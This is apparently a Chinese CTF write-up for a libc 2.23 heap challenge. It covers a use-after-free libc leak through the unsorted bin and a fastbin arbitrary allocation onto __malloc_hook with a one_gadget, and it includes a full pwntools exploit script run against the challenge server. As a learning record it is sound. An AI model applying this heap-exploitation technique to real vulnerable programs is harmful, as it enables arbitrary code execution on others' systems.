前言
https://www.nssctf.cn/problem/5614
libc2.23版本的堆题,非常简单,但是是我自己独立完成的非教程题目的第一个题
分析
菜单题,增删查改一应俱全
有UAF漏洞,申请的堆块大小自己设定
有UAF的话我们就可以很轻松的泄漏出libc,首先申请一个非fastbin大小的堆块,比如malloc(0x80)
delete一下它,然后show一下就可以得到unsorted bin地址,也就能知道libc地址
我之后的思路是利用uaf漏洞来Arbitrary Alloc,利用fastbin单向链表的性质,通过字节错位的方法来申请到__malloc_hook所在的空间。
然后再改写__malloc_hook到one_gadget就行了。
exp
from pwn import * context(log_level='debug', arch='i386', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) def cmd(choice): sla(">>",str(choice)) def create(idx,size): cmd(1) sla("idx? ",str(idx)) sla("size? ",str(size)) def delete(idx): cmd(2) sla("idx? ",str(idx)) def show(idx): cmd(3) sla("idx? ",str(idx)) def edit(idx,content): cmd(4) sla("idx? ",str(idx)) sa("content : \n",content) def Exit(): cmd(5)
p=remote('node4.anna.nssctf.cn',28015) libc=ELF('./libc.so.6') create(0,0x80) create(1,0x00) create(2,0x30) delete(0)
show(0) ru("content : ") libc_leak=uu64(p.recv(6)) leak("libc_leak",libc_leak) offset=0x3c4b78 libc_base=libc_leak-offset
fake_size=0x3c4af5+libc_base fake_chunk=fake_size-8 create(3,0x60) create(4,0x20) delete(3) edit(3,p64(fake_chunk)) create(5,0x60) create(6,0x60)
one_gadget1=0x4527a+libc_base one_gadget2=0xf03a4+libc_base one_gadget3=0xf1247+libc_base payload=b'a'*0x13+p64(one_gadget3) edit(6,payload) create(7,0x20) ti()
|
碰壁记录
其实实际在做这个题的时候遇到了很多问题,我想法非常多,处处碰壁,这里记录一下碰壁遇到的知识。
我一开始想法非常复杂,因为有一个size数组,这个size是我们自己写的,那么就有可能申请到size数组上来,然后再前向重叠,把前面的堆指针数组给合并掉,这样就可以改写这个数组的内容来任意地址写了。
一开始申请到size上比较顺利,虽然中间因为分不清house of spirit和Arbitrary Alloc导致走了一点弯路,不过最后还是成功了。结果在前向合并的时候发现,好像在合并的时候我没法更改堆指针数组,导致合并失败,就此作罢。
后来又想到Arbitrary Alloc 好像没这么多限制,又查了一下Arbitrary Alloc的东西就想到了可以直接申请到__malloc_hook附件的空间,从而改写成one_gadget。
这里泄漏libc是利用的之前学过的unsorted bin的东西。
Arbitrary Alloc
检查1:检测你要malloc的free chunk的大小是否在该chunk所在的fastbin链的大小尺寸范围(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这free chunk却是0x50,那么就会程序就报错退出)。 检查2:检测你这个free chunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测。
所以构造例如0x70的fastbin,fake_size在[0x70,0x7f]区间都能满足第一个size检查
|
这里没有对fake chunk的地址对齐有要求,可以利用字节错位来随意申请地址。